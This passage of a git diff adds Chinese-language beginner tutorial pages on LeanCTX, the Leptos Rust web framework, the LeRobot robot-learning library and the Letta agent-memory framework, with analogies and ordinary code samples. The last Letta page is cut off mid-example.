+                       │ MCP 协议 + Shell 命令
+                       ▼
+┌─────────────────────────────────────────────────────────┐
+│                   LeanCTX (Rust 二进制)                  │
+│                                                         │
+│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌────────┐ │
+│  │ 压缩引擎  │  │ 路由决策  │  │ 会话记忆  │  │ 属性图  │ │
+│  │          │  │          │  │          │  │        │ │
+│  │ 10种模式  │  │ 自动选择  │  │ 跨会话    │  │ 代码依赖│ │
+│  │ ~13tok   │  │ 意图识别  │  │ 知识图谱  │  │ 影响分析│ │
+│  │ 缓存命中  │  │ 自适应    │  │ 结构化恢复│  │ 语义搜索│ │
+│  └──────────┘  └──────────┘  └──────────┘  └────────┘ │
+│                                                         │
+│  76 个 MCP 工具 │ 56 种 Shell 压缩模式 │ 80+ CLI 命令    │
+└──────────────────────┬──────────────────────────────────┘
+                       │
+          ┌────────────┼────────────┐
+          ▼            ▼            ▼
+     你的代码库    命令行输出    知识存储
+```
+
+---
+
+## 为什么要关注这个技术
+
+对于 AI 辅助编程来说，最大的瓶颈之一是 **context window 有限且昂贵**。每次 AI 读取文件、执行命令，都在消耗这个有限的资源。
+
+LeanCTX 解决的核心问题是：**如何让 AI 用更少的 token 做更多的事。**
+
+它的价值体现在：
+
+| 场景 | 没有 LeanCTX | 有 LeanCTX |
+|------|-------------|-----------|
+| 重复读取同一个文件 | ~2000 token/次 | ~13 token/次 |
+| `git status` 输出 | ~800 token | ~120 token |
+| 跨会话记忆 | 每次新聊天从头开始 | 记住任务和决策 |
+| 使用情况可见性 | 完全不可见 | 实时仪表盘 |
+
+对于一个每天使用 AI 编程的人来说，这直接意味着更低的 API 成本和更长的有效对话轮次。
+
+---
+
+## 下一步探索方向
+
+如果你想深入学习，建议按以下顺序：
+
+1. **官方文档**：https://leanctx.com/docs/getting-started — 从零开始的完整指南
+2. **每日使用手册**：docs/reference/02-daily-use.md — 最常用的命令和工具
+3. **记忆与知识系统**：docs/reference/03-memory-and-knowledge.md — 理解跨会话记忆
+4. **代码智能**：docs/reference/04-code-intelligence.md — 属性图和影响分析
+5. **全部 76 个 MCP 工具参考**：docs/reference/appendix-mcp-tools.md
+
+---
+
+## 小结
+
+LeanCTX 本质上是一个"上下文管理层"，它在 AI 工具和代码之间充当智能代理。通过压缩、缓存、记忆和图分析，它让 AI Agent 不再浪费宝贵的上下文空间在重复读取和冗长输出上。
+
+对于任何频繁使用 AI 编程工具的人来说，这是一个值得了解的基础设施层。它不需要你改变编程习惯，安装后就能自动工作。
diff --git a/src/content/docs/projects/leptos.md b/src/content/docs/projects/leptos.md
new file mode 100644
index 000000000..6725bda4c
--- /dev/null
+++ b/src/content/docs/projects/leptos.md
@@ -0,0 +1,258 @@
+---
+title: Leptos — Rust 全栈 Web 框架入门
+来源: https://github.com/leptos-rs/leptos
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Leptos — Rust 全栈 Web 框架入门
+
+## 一、什么是 Leptos？
+
+Leptos 是一个用 Rust 编写的**全栈 Web 框架**。它的口号是"Build fast web applications with Rust"。
+
+用一个日常类比来理解：
+
+想象你要开一家餐厅。传统的前后端分离做法就像把厨房（后端）和餐厅（前端）分开在不同楼层，中间要通过电梯（API）传递菜单和菜品——每次都要重新沟通格式、确认订单。而 Leptos 的做法是：厨房和餐厅在同一层，厨师可以直接把菜端上桌，不需要翻译，也不需要额外搭建通道。
+
+具体来说，Leptos 有这几个关键特点：
+
+1. **全栈（Full-stack）**：前端（浏览器里跑的界面）和后端（服务器上的数据库、业务逻辑）用同一种语言（Rust）写，共享类型定义
+2. **细粒度响应式（Fine-grained reactivity）**：不是"整页重绘"，而是只更新变化了的那一小块内容
+3. **无虚拟 DOM（No Virtual DOM）**：这是和 React 最大的区别。Leptos 直接操作真实的 DOM 节点，性能更好
+4. **服务端渲染（SSR）**：页面先在服务器上生成好 HTML 发给浏览器，用户看到得更快
+5. **Server Functions**：可以在前端代码里直接调用后端函数，像调用普通函数一样，框架自动处理网络通信
+
+## 二、核心概念
+
+### 2.1 信号（Signals）—— 响应式的基本单元
+
+信号是 Leptos 最核心的概念。类比：信号就像一个智能灯泡 + 一个开关。你拨动开关（设置值），灯泡（UI）会自动亮起来。你不需要告诉灯泡"请亮起来"，它会**自动感知**开关的变化。
+
+```rust
+let (count, set_count) = signal(0);
+// count  —— 读取当前值（getter）
+// set_count —— 设置新值（setter）
+```
+
+一个信号返回一对东西：getter 和 setter。getter 用来读值，setter 用来改值。
+
+### 2.2 组件（Component）—— 界面的积木
+
+组件是 Leptos 构建界面的基本单位。类比：组件就像乐高积木块。每一块有自己的功能和外观，你可以把很多块拼在一起，组成复杂的结构。
+
+```rust
+#[component]
+fn App() -> impl IntoView {
+    // ...
+}
+```
+
+每个组件函数返回 `impl IntoView`，意思是"我能变成页面上的一块东西"。
+
+### 2.3 View 宏 —— 用类似 HTML 的方式写界面
+
+Leptos 提供了一个 `view!` 宏，让你用类似 HTML 的语法描述界面：
+
+```rust
+view! {
+    <button on:click=move |_| set_count.set(3)>
+        "点击我: "
+        {count}
+    </button>
+}
+```
+
+注意几个细节：
+- 文本要用引号括起来，比如 `"点击我"`
+- 要响应式显示的值放在花括号里，比如 `{count}`
+- 事件监听用 `on:事件名` 的语法，比如 `on:click`
+
+### 2.4 Server Functions —— 前后端之间的桥梁
+
+Server Function 让你在前端代码里直接调用后端函数。类比：就像你在手机上点外卖，直接打电话给餐馆说"我要一份炒饭"——不需要另外建一个"订单系统"。
+
+```rust
+#[server]
+pub async fn add_todo(title: String) -> Result<(), ServerFnError> {
+    // 这里可以访问数据库、文件系统等服务端资源
+    Ok(())
+}
+```
+
+加上 `#[server]` 标记后，这个函数就能从前端的按钮点击事件里直接调用了。
+
+## 三、代码示例
+
+### 示例 1：计数器组件
+
+这是 Leptos 官方文档里的经典入门示例，展示了信号、视图宏和事件处理的用法：
+
+```rust
+use leptos::prelude::*;
+
+#[component]
+pub fn SimpleCounter(initial_value: i32) -> impl IntoView {
+    // 创建一个响应式信号，初始值为 initial_value
+    // (value, set_value) 分别是对应的读取器和写入器
+    let (value, set_value) = signal(initial_value);
+
+    // 定义三个按钮的事件处理函数
+    // value 和 set_value 都是 Copy 类型，所以可以直接移动到闭包中
+    let clear = move |_| set_value(0);
+    let decrement = move |_| set_value.update(|v| *v -= 1);
+    let increment = move |_| set_value.update(|v| *v += 1);
+
+    // 用 view! 宏声明用户界面
+    view! {
+        <div>
+            <button on:click=clear>"清除"</button>
+            <button on:click=decrement>"-1"</button>
+            // 文本节点可以用引号包裹，也可以直接写
+            <span>"当前值: " {value} "!"</span>
+            <button on:click=increment>"+1"</button>
+        </div>
+    }
+}
+
+// 入口函数：把 App 组件挂载到页面的 <body> 上
+pub fn main() {
+    mount_to_body(|| view! {
+        <SimpleCounter initial_value=3 />
+    })
+}
+```
+
+逐行解释：
+
+- `signal(initial_value)` 创建了一个信号，返回值是 `(getter, setter)` 元组
+- `set_value(0)` 直接把值设为 0（等价于 `set_value.set(0)`）
+- `set_value.update(|v| *v += 1)` 在原地增加值，比 `.set()` 更高效
+- `{value}` 直接放入信号，Leptos 会自动让它保持响应式更新
+- `mount_to_body` 把整个应用挂载到 HTML 的 `<body>` 元素上
+
+### 示例 2：带数据库操作的表单
+
+这个示例展示了 Server Function 的用法——前端表单直接调用后端数据库操作：
+
+```rust
+use leptos::prelude::*;
+
+// --- 服务端函数：保存收藏到数据库 ---
+// #[server] 标记告诉 Leptos："这个函数要在服务器上运行"
+#[server(SaveFavorites, "/api")]
+pub async fn save_favorites(
+    cookie_type: String,
+    color: String,
+) -> Result<String, ServerFnError> {
+    // 这里可以使用 sqlx 等库访问数据库
+    let pool = get_pool().await?;
+
+    let query = "
+        INSERT INTO cookies (favorite_cookie_type, favorite_color)
+        VALUES ($1, $2)
+    ";
+
+    sqlx::query(query)
+        .bind(cookie_type)
+        .bind(color)
+        .execute(&pool)
+        .await
+        .map_err(|e| ServerFnError::ServerError(e.to_string()))?;
+
+    Ok(format!("给你 {} 色的 {} 饼干！", color, cookie_type))
+}
+
+// --- 前端组件：收藏表单 ---
+#[component]
+pub fn FavoritesForm() -> impl IntoView {
+    // 创建一个"动作"——用于处理表单提交
+    let action = create_server_action::<SaveFavorites>();
+    let value = action.value();
+
+    view! {
+        <ActionForm action=action>
+            <label>
+                "最喜欢的饼干种类"
+                <input type="text" name="cookie_type" />
+            </label>
+            <label>
+                "最喜欢的颜色"
+                <input type="text" name="color" />
+            </label>
+            <input type="submit" value="提交" />
+        </ActionForm>
+
+        // 加载中状态
+        <Show when=move || action.pending()>
+            <div>"正在保存..."</div>
+        </Show>
+
+        // 提交成功后显示结果
+        <Show when=move || value.with(Option::is_some)>
+            <div>{value}</div>
+        </Show>
+    }
+}
+```
+
+逐行解释：
+
+- `#[server(SaveFavorites, "/api")]` 定义了一个服务端函数，名字是 `SaveFavorites`，挂载在 `/api` 路径下
+- `create_server_action::<SaveFavorites>()` 创建一个与 `SaveFavorites` 关联的动作
+- `<ActionForm action=action>` 将表单与动作绑定，提交时自动调用服务端函数
+- `action.pending()` 返回是否正在等待服务端响应
+- `value` 包含服务端函数的返回值
+- `<Show>` 组件根据条件显示或隐藏内容
+
+## 四、Leptos 与其他框架的对比
+
+| 特性 | Leptos | React | Yew | Dioxus |
+|------|--------|-------|-----|--------|
+| 底层机制 | 细粒度响应式（直接操作 DOM） | 虚拟 DOM | 虚拟 DOM | 虚拟 DOM |
+| 语言 | Rust | JavaScript/TypeScript | Rust | Rust |
+| 组件是否反复执行 | 否（只执行一次，建立响应关系） | 是（状态变化时重新渲染） | 是 | 是 |
+| 全栈支持 | 内置 Server Functions | 需额外配置 | 需额外配置 | 有类似功能 |
+| 性能 | 极高（无虚拟 DOM 开销） | 高 | 中等 | 高 |
+
+关键区别在于：**React 每次状态变化都会重新运行整个组件函数，然后对比虚拟 DOM 的差异再更新真实 DOM；Leptos 的组件函数只运行一次，之后通过信号系统精确更新变化的部分。**
+
+## 五、如何开始
+
+安装构建工具 `cargo-leptos`：
+
+```bash
+cargo install cargo-leptos --locked
+```
+
+创建新项目：
+
+```bash
+cargo leptos new --git https://github.com/leptos-rs/start-axum
+cd your-project-name
+cargo leptos watch
+```
+
+然后在浏览器打开 `http://localhost:3000/` 就能看到你的第一个 Leptos 应用了。
+
+## 六、学习资源
+
+- 官方网站：https://leptos.dev
+- 官方教程（Book）：https://book.leptos.dev
+- API 文档：https://docs.rs/leptos
+- 在线 Playground：https://codesandbox.io/p/devbox/playground-j23dz7
+- Discord 社区：https://discord.gg/YdRAhS7eQB
+- 实用库列表（awesome-leptos）：https://github.com/leptos-rs/awesome-leptos
+
+## 七、总结
+
+Leptos 的核心思想可以概括为一句话：**用 Rust 的类型安全保证整个应用的正确性，用细粒度响应式保证极致性能，用 Server Functions 消除前后端之间的隔阂。**
+
+对于初学者来说，最需要理解的三个概念是：
+1. **信号**——状态的管理方式（不是变量，而是会"通知"UI 的智能开关）
+2. **组件**——界面的组织方式（只运行一次的设置函数）
+3. **Server Functions**——前后端通信的方式（像调用普通函数一样调用后端）
+
+掌握这三个概念后，你就已经理解了 Leptos 的大半。
diff --git a/src/content/docs/projects/lerobot.md b/src/content/docs/projects/lerobot.md
new file mode 100644
index 000000000..b97c8b32e
--- /dev/null
+++ b/src/content/docs/projects/lerobot.md
@@ -0,0 +1,168 @@
+---
+title: LeRobot — Hugging Face 开源机器人学习库
+来源: https://github.com/huggingface/lerobot
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+# LeRobot — 让每个人都能做机器人 AI
+
+## 一、一个日常类比
+
+想象你想教一个机器人叠衣服。传统方法需要工程师一条条写指令：
+
+> "先把左袖拉到右边 → 再把右袖拉到左边 → 对折 → 压平"
+
+这就像让一个程序员手动画每一帧动画——可行，但极其繁琐，而且换一件衣服就全得重写。
+
+LeRobot 的做法是反过来的：**你不用写指令，而是直接"示范"。** 你把衣服放在机器人面前，用手（或遥控装置）操控机械臂叠一次。机器人看着你的动作、听着你的摄像头画面，自己学着该怎么做。下次你再放一件衣服给它，它就能自己叠了。
+
+这就是"端到端学习"——从**看到画面**到**做出动作**，中间不需要人写规则，全让 AI 自己从数据中学。
+
+## 二、LeRobot 是什么
+
+LeRobot 是 Hugging Face 开源的一个 PyTorch 机器人学习库，核心目标就一句话：**降低机器人 AI 的门槛**，让任何人都能收集数据、训练模型、部署到真实机器人上。
+
+它有几个关键组件：
+
+- **统一硬件接口**：不管你是便宜的 SO-100 机械臂、人形机器人 Unitree G1，还是人形机器人 HopeJR，LeRobot 提供一个统一的 `Robot` 接口来操控
+- **LeRobotDataset 格式**：用 Parquet（表格数据）+ MP4（摄像头视频）标准化存储机器人数据，方便在 Hugging Face Hub 上共享
+- **丰富的预训练模型**：涵盖模仿学习（ACT、Diffusion）、强化学习（HIL-SERL、TDMPC）、视觉-语言-动作模型（Pi0、GR00T）等
+- **完整的训练和推理工具**：一条命令行就能训练或推理
+
+## 三、核心概念拆解
+
+### 3.1 端到端学习（End-to-End Learning）
+
+传统机器人编程 = 感知 → 规划 → 控制，每一步都要单独设计。端到端学习则是一个神经网络直接输入摄像头画面，输出电机动作：
+
+> 摄像头画面 → [AI 模型] → 电机动作
+
+### 3.2 模仿学习（Imitation Learning）
+
+机器人观察人类演示，学习映射关系。LeRobot 支持 ACT（Action Chunking Transformer）、Diffusion Policy 等主流算法。
+
+### 3.3 VLA 模型（Vision-Language-Action）
+
+在视觉 + 动作的基础上加入**自然语言指令**。比如你说"把红色积木放进盒子"，模型同时理解语言、画面，然后做出动作。Pi0、GR00T N1.5 就是这类模型。
+
+### 3.4 LeRobotDataset
+
+数据结构：
+
+- 摄像头画面 → MP4 视频文件（多路摄像头同步录制）
+- 机器人状态和动作 → Parquet 文件（类似 CSV，但更高效）
+
+所有数据都可以通过 `LeRobotDataset` 类一行代码加载，自动处理视频解码。
+
+## 四、实际代码示例
+
+### 示例 1：连接机器人 + 获取传感器数据
+
+```python
+from lerobot.robots.myrobot import MyRobot
+
+# 连接到一个真实的机器人
+robot = MyRobot(config={...})
+robot.connect()
+
+# 获取当前"看到"的画面和"感觉到"的状态
+observation = robot.get_observation()
+
+# observation 里通常包含：
+# - observation["image"]   ：摄像头拍到的画面
+# - observation["state"]   ：机械臂每个关节的角度
+# - observation["lang"]    ：语言任务描述（比如 "fold the shirt"）
+
+# 把观察喂给训练好的模型，让它决定下一步怎么做
+action = model.select_action(observation)
+
+# 发送动作给机器人执行
+robot.send_action(action)
+```
+
+这个过程每秒循环很多次，形成"看 → 想 → 做"的闭环。
+
+### 示例 2：加载数据集 + 查看数据
+
+```python
+from lerobot.datasets.lerobot_dataset import LeRobotDataset
+
+# 从 Hugging Face Hub 加载一个已经收集好的数据集
+# 这个数据集包含 Aloha 机械臂开柜子的演示视频
+dataset = LeRobotDataset("lerobot/aloha_mobile_cabinet")
+
+# 查看数据量
+print(f"总帧数: {len(dataset)}")
+print(f"摄像头数: {dataset.camera_keys}")
+print(f"动作维度: {dataset.policy_mode}")
+
+# 取第一帧看看
+frame = dataset[0]
+print(f"动作形状: {frame['action'].shape}")
+# 比如输出: action.shape=torch.Size([6])，表示机械臂有 6 个自由度
+
+# 遍历前 5 帧
+for i in range(5):
+    frame = dataset[i]
+    print(f"帧 {i}: 动作 = {frame['action']}")
+```
+
+### 示例 3：用命令行训练一个 ACT 模型
+
+```bash
+# 一条命令训练 ACT（Action Chunking Transformer）模型
+lerobot-train \
+  --policy=act \
+  --dataset.repo_id=lerobot/aloha_mobile_cabinet \
+  --output_dir=./outputs/act_training
+```
+
+就这么简单。LeRobot 会自动：从 Hub 下载数据 → 构建模型 → 训练 → 把训练好的模型保存到 `./outputs/act_training`。
+
+### 示例 4：在真实机器人上推理
+
+```bash
+# 用训练好的模型控制 SO-101 机械臂
+lerobot-rollout \
+  --strategy.type=base \
+  --policy.path=./outputs/act_training \
+  --robot.type=so101_follower \
+  --robot.port=/dev/ttyACM1 \
+  --robot.camulas="{ up: {type: opencv, index_or_path: /dev/video1, width: 640, height: 480, fps: 30}}" \
+  --task="Put lego brick into the transparent box" \
+  --duration=60
+```
+
+模型会看着摄像头画面，按照"把乐高积木放进透明盒子"这个任务，自动控制机械臂执行 60 秒。
+
+## 五、LeRobot 的完整工作流
+
+```
+校准机器人 → 遥控示范(收集数据) → 训练模型 → 部署推理 → 评估效果
+    ↓              ↓                  ↓            ↓           ↓
+机械臂关节    人类操控机械臂       PyTorch      真实机器人    仿真环境
+标定           录制视频和动作       自动训练      执行任务      量化评分
+```
+
+每一步 LeRobot 都有对应工具，不需要自己搭建整个管线。
+
+## 六、为什么值得关注
+
+1. **Hugging Face 生态**：数据和模型直接发布到 HF Hub，和 NLP 领域的体验完全一致
+2. **硬件无关**：同一个 API 支持 10+ 种机器人，换硬件不用改代码
+3. **学术前沿**：ICLR 2026 论文，内置 Pi0、GR00T、Diffusion 等 SOTA 算法
+4. **开源友好**：Apache 2.0 协议，欢迎所有人贡献
+5. **中文教程**：有同济子豪兄做的完整中文教程，从组装到部署都有
+
+## 七、适合谁
+
+- **想入门机器人 AI 的人**：不用先懂控制理论，从数据驱动的角度切入更直观
+- **想做具身智能研究的人**：LeRobot 提供了从数据到训练的完整管线
+- **想给机器人加 AI 能力的团队**：统一接口让你不用为每种机器人重新写代码
+
+---
+
+*本文基于 LeRobot 官方 GitHub 仓库和文档编写，适合零机器人基础的编程学习者理解端到端机器人学习的核心思路。*
diff --git a/src/content/docs/projects/letta-memgpt-2026.md b/src/content/docs/projects/letta-memgpt-2026.md
new file mode 100644
index 000000000..0dd41170f
--- /dev/null
+++ b/src/content/docs/projects/letta-memgpt-2026.md
@@ -0,0 +1,244 @@
+---
+title: Letta - 让 AI 代理学会记忆的框架
+来源: https://github.com/letta-ai/letta
+日期: 2026-06-13
+分类: Agent
+子分类: 智能体与 LLM
+provenance: pipeline-v3
+---
+
+# Letta - 让 AI 代理学会记忆的框架
+
+## 一、从一个问题开始
+
+你有没有用过 AI 聊天，然后发现它每次对话都像一个"刚认识你"的新人？
+
+你告诉它你的项目背景、代码风格、偏好设置，关了对话框再回来，它全忘了。
+这就是传统 LLM 的核心短板：**没有记忆**。每次对话从零开始，上下文窗口（context window）之外的一切等于不存在。
+
+Letta 做的事情，就是给 AI 加上一套完整的记忆系统。
+
+想象一下：
+- 传统 LLM 像金鱼——只记得眼前这一句话
+- Letta 代理像一个长期助手——能记住你的习惯、积累知识、随着使用越来越懂你
+
+Letta 的 GitHub 仓库目前有 23,300+ star，它从 MemGPT 项目演变而来，是一个用 Python 编写的开源框架（99.5% 代码）。
+
+## 二、核心概念：让代理"活着"
+
+Letta 中最核心的概念是 **有状态代理（Stateful Agent）**。
+
+### 2.1 什么是有状态代理
+
+一个有状态代理包含：
+- **系统提示词（System Prompt）**：定义代理的性格和行为规则
+- **记忆块（Memory Blocks）**：代理可以自我编辑的结构化记忆
+- **工具（Tools）**：搜索、执行代码、抓取网页等能力
+- **消息历史（Messages）**：所有对话记录，持久存储在数据库中
+
+与传统聊天不同，Letta 代理的每一次状态变化（学到的新知识、完成的工具调用、自我修正的记忆）都会保存到数据库里。**即使对话结束、上下文被清理，代理也不会丢失这些状态。**
+
+### 2.2 记忆的三层结构
+
+Letta 把记忆分成了两个主要层次，类比人类大脑：
+
+**核心记忆（Core Memory / Memory Blocks）**：
+就像你此刻正在注意的内容。始终可见、始终在上下文中，代理可以随时读写。比如：
+- `persona` 块：代理对自己身份的认知
+- `human` 块：代理对用户的信息
+
+**归档记忆（Archival Memory）**：
+就像你脑海深处需要时才会检索的知识。不能直接放入上下文，必须通过搜索工具来查找。容量近乎无限。比如：
+- 之前对话中提到的事实
+- 阅读过的文档摘要
+- 积累的专业知识
+
+两者区别用一句话概括：
+- 核心记忆 = 随时可见，像笔记本摊开在桌上
+- 归档记忆 = 按需检索，像图书馆里的书
+
+## 三、代码示例
+
+### 3.1 创建一个带记忆的代理
+
+下面是一个用 Python SDK 创建有状态代理的完整示例：
+
+```python
+from letta_client import Letta
+import os
+
+client = Letta(api_key=os.getenv("LETTA_API_KEY"))
+
+# 创建一个带有记忆块的代理
+agent_state = client.agents.create(
+    model="openai/gpt-5.2",
+    memory_blocks=[
+        {
+            "label": "human",
+            "value": "Name: Jason. Experience level: beginner in AI. Prefers explanations in Chinese with analogies.",
+            "limit": 5000,
+        },
+        {
+            "label": "persona",
+            "value": "I am a helpful assistant. I explain things using everyday analogies and always check if the user understands.",
+            "limit": 5000,
+        },
+    ],
+    tools=["web_search", "fetch_webpage"],
+)
+
+print(f"Agent created with ID: {agent_state.id}")
+```
+
+这里创建了一个代理，给它两本"笔记本"：一本记录用户的个人信息，一本定义代理自己的性格。代理在每次对话中都会看到这两块内容，所以它不会忘记你是谁。
+
+### 3.2 与代理对话并管理记忆
+
+```python
+from letta_client import Letta
+import os
+
+client = Letta(api_key=os.getenv("LETTA_API_KEY"))
+agent_id = "your-agent-id"
+
+# 发送消息——代理会基于记忆作答
+response = client.agents.messages.create(
+    agent_id=agent_id,
+    input="我上次提到的中文偏好你还记得吗？请用中文解释什么是 RAG。"
+)
+
+for message in response.messages:
+    print(message)
+
+# 手动让代理记住重要信息
+response2 = client.agents.messages.create(
+    agent_id=agent_id,
+    input="/remember 他喜欢简洁的回答，不喜欢长篇大论"
+)
+```
+
+注意 `/remember` 命令——这是 Letta 的一个特殊指令，告诉代理把这条信息写入记忆。代理会在后台自动更新记忆块，所以下次对话时它不会再忘记。
+
+### 3.3 使用归档记忆存储大量知识
+
+```python
+from letta_client import Letta
+import os
+
+client = Letta(api_key=os.getenv("LETTA_API_KEY"))
+agent_id = "your-agent-id"
+
+# 向代理的归档记忆中存入知识片段
+client.agents.passages.insert(
+    agent_id=agent_id,
+    content="RAG（Retrieval-Augmented Generation）是一种先检索外部知识库，再将检索结果与问题一起发送给 LLM 的技术。",
+    tags=["AI", "RAG", "基础知识"]
+)
+
+# 代理可以自己搜索归档记忆
+search_results = client.agents.passages.search(
+    agent_id=agent_id,
+    query="什么是检索增强生成",
+    tags=["AI"],
+    page=0
+)
+for result in search_results:
+    print(result.content)
+```
+
+归档记忆的关键特点是：语义搜索。你搜索"检索增强生成"，即使记忆中没有完全匹配的词（比如存的是"先查资料再回答"），代理也能通过语义理解找到相关内容。
+
+## 四、记忆块（Memory Blocks）详解
+
+记忆块是 Letta 最重要的抽象。它本质上是一段带标签的文本，附加在代理的系统提示词中。代理看到的内容大概是这样的：
+
+```xml
+<memory_blocks>
+  <persona>
+    <description>存储关于代理自身人格的信息</description>
+    <value>I am a helpful assistant. I explain things using everyday analogies.</value>
+  </persona>
+  <human>
+    <description>存储关于用户的信息</description>
+    <value>Name: Jason. Prefers concise answers in Chinese.</value>
+  </human>
+</memory_blocks>
+```
+
+**记忆块有三个关键属性**：
+1. `label`（标签）：比如 `persona`、`human`、`policies`——代理根据标签决定这块内容的用途
+2. `description`（描述）：告诉代理这个块是用来做什么的，非常重要。描述不好，代理就不知道该往里面写什么
+3. `value`（值）：实际存储的文本内容
+
+**只读块**：你可以将记忆块设为 `read_only: true`，这样代理就无法修改它。适合存放公司政策、不可变的规则等。
+
+**共享块**：同一个记忆块可以附加给多个代理。改一处，所有使用该块的代理都能立即看到新内容。
+
+## 五、MemFS：基于 Git 的记忆文件系统
+
+Letta 的进阶记忆方案叫 **MemFS**（Memory Filesystem），它将代理的记忆存储为一个基于 Git 的文件系统：
+
+- 记忆以 Markdown 文件的形式保存在目录中
+- `system/` 目录下的文件始终加载到上下文中
+- 其他文件通过"记忆树"可见（能看到文件名和摘要，但内容不自动加载）
+- 代理用 bash 工具直接编辑这些文件，然后用 git commit 保存
+- 所有变更都有版本历史，可以回溯
+
+这就像给代理配了一个带版本控制的记事本——你可以随时查看代理在什么时候修改了哪些记忆。
+
+## 六、让代理"做梦"：自动反思
+
+Letta 有一个有趣的功能叫 **Dreaming（反思）**。
+
+代理在运行过程中会定期启动一个后台子代理，让它回顾最近的对话，自动整理和更新记忆。这就像人类睡觉前"复盘"一天的经历。
+
+触发方式有三种：
+- 关闭
+- 每 N 条用户消息触发一次
+- 上下文窗口被压缩时触发（推荐，MemFS 模式下）
+
+你可以通过 `/sleeptime` 命令来配置反思频率。
+
+## 七、三种使用方式
+
+Letta 提供三种不同的使用路径：
+
+| 方式 | 适用场景 | 类似产品 |
+|------|---------|---------|
+| **Letta Code**（桌面端 / CLI） | 个人使用，像用 Claude Code 一样 | Claude Code, Codex |
+| **Letta Code SDK**（TypeScript） | 构建 TypeScript 应用 | Claude Agent SDK |
+| **Letta API**（Python / TypeScript / REST） | 构建自定义代理应用 | OpenAI Responses API |
+
+对初学者来说，Letta Code（桌面端或 CLI）是最容易上手的——安装后在终端运行 `letta` 就能开始使用。
+
+## 八、为什么 Letta 值得学习
+
+传统聊天机器人的问题是"健忘"。你每开一个新对话，就等于和一个新的人聊天。
+
+Letta 解决这个问题的思路不是简单地把更多对话塞进上下文窗口，而是**让代理自己管理记忆**：
+- 决定什么值得记住
+- 决定什么应该归档
+- 决定什么可以遗忘
+- 在对话之间保持状态
+
+这种"代理自管理记忆"的设计，是目前 AI 代理领域最有前途的方向之一。理解 Letta 的记忆模型，有助于你理解未来 AI 应用的架构走向。
+
+## 九、学习路线建议
+
+1. 先花 30 分钟理解核心概念：有状态代理、记忆块、归档记忆
+2. 用 Letta Code CLI 体验 15 分钟：安装后跟代理聊几句，观察它如何记忆
+3. 用 Python SDK 写一个自己的代理，给它设置 persona 和 human 块
+4. 学习 MemFS 文件系统，理解 git-backed 记忆的含义
+5. 探索多代理模式（supervisor-worker、round-robin 等）
+
+## 十、关键术语速查
+
+| 术语 | 含义 |
+|------|------|
+| Stateful Agent | 有状态代理，能在对话间保持记忆 |
+| Memory Block | 核心记忆块，代理可自编辑的结构化记忆 |
+| Archival Memory | 归档记忆，语义搜索的无限容量知识库 |
+| Compaction | 上下文压缩，将长对话摘要化以腾出空间 |
+| MemFS | 基于 Git 的记忆文件系统 |
+| Dreaming / Reflection | 代理自动反思和整理记忆 |
+| Tool | 代理可调用的能力（搜索、代码执行等） |
diff --git a/src/content/docs/projects/letta.md b/src/content/docs/projects/letta.md
new file mode 100644
index 000000000..e0fabe5e7
--- /dev/null
+++ b/src/content/docs/projects/letta.md
@@ -0,0 +1,209 @@
+---
+title: Letta — 有状态记忆 Agent
+来源: https://github.com/letta-ai/letta
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-agent-infra
+provenance: pipeline-v3
+---
+
+# Letta — 有状态记忆 Agent
+
+## 从日常类比开始
+
+想象你有一个助手，但他患有"金鱼记忆"——每次你跟他说话，他都完全不记得之前聊过什么。这就是普通 LLM（比如 ChatGPT）的状态：每轮对话都是一次全新开始，上下文窗口满了就忘掉的。
+
+Letta 解决的就是这个问题。它给 AI Agent 装上了一套**分层记忆系统**，让 Agent 能像人一样：短期记住重要信息、长期归档知识、还能自己决定该记住什么。
+
+类比人的大脑：
+- **工作记忆**（前额叶）——现在正在想的东西，容量有限
+- **长期记忆**（海马体）——可以主动回忆的过往经历
+- **外部知识**（图书馆）——需要时查找的资料
+
+Letta 把这三层映射为三个概念：Memory Blocks（核心记忆）、Archival Memory（存档记忆）、Files（文件）。
+
+## 核心概念：分层记忆架构
+
+### 一、Memory Blocks（核心记忆）
+
+这是 Agent 的"工作记忆"，始终贴在对话上下文的顶部，Agent 每次思考都能看到。
+
+每个 Memory Block 有四个字段：
+- `label`——标签，告诉 Agent 这块记忆是干什么的
+- `description`——描述，Agent 靠它决定怎么读写这块记忆
+- `value`——具体内容
+- `limit`——字符上限
+
+最常见的两个预定义标签是 `persona`（Agent 自己的人设）和 `human`（关于用户的信息）。
+
+**关键特性：**
+- Agent 可以自主读写（通过 `memory_rethink`、`memory_replace` 等工具）
+- 支持设为只读（`read_only: true`），防止 Agent 篡改
+- 多个 Agent 可以共享同一个 Block（Shared Memory）
+- 推荐每个 Block 小于 5 万字，每个 Agent 不超过 20 个 Block
+
+### 二、Archival Memory（存档记忆）
+
+这是 Agent 的"长期记忆库"，不贴在上下文中，需要 Agent 主动检索。
+
+底层是一个向量数据库（Vector DB），支持语义搜索——搜"人工记忆"能找到"植入记忆"，因为语义相近。
+
+**关键特性：**
+- 近乎无限的存储容量
+- Agent 通过 `archival_memory_insert` 和 `archival_memory_search` 两个工具读写
+- Agent 很难直接删除（开发者可以通过 SDK 管理）
+- 适合存：文档、历史对话、知识库等"不需要每次看到但偶尔要查"的信息
+
+### 三、Context Hierarchy（上下文层次）
+
+Letta 根据数据的重要性和规模，提供四种抽象：
+
+| 抽象类型 | 是否入上下文 | 工具 | 大小限制 | 数量限制 |
+|---|---|---|---|---|
+| Memory Blocks | 是（始终可见） | memory_rethink / memory_replace | <50k 字符 | <20 个/Agent |
+| Files | 部分（按需打开） | open / close / semantic_search | 5MB | <100 个/Agent |
+| Archival Memory | 否（需检索） | archival_memory_insert / search | 300 tokens/条 | 无限 |
+| External RAG | 否（需检索） | 自定义工具或 MCP | 无限 | 无限 |
+
+## 代码示例
+
+### 示例 1：创建一个带核心记忆的 Agent
+
+这是最简单的入门——创建一个 Agent，给它设定人设（persona）和人类信息（human），然后问它关于自己的问题。
+
+```python
+from letta_client import Letta
+import os
+
+# 连接 Letta API
+client = Letta(api_key=os.getenv("LETTA_API_KEY"))
+
+# 创建一个带记忆的 Agent
+agent = client.agents.create(
+    model="openai/gpt-4o-mini",
+    memory_blocks=[
+        {
+            "label": "human",
+            "value": "Name: Jason. Learning AI agents from scratch.",
+            "limit": 5000
+        },
+        {
+            "label": "persona",
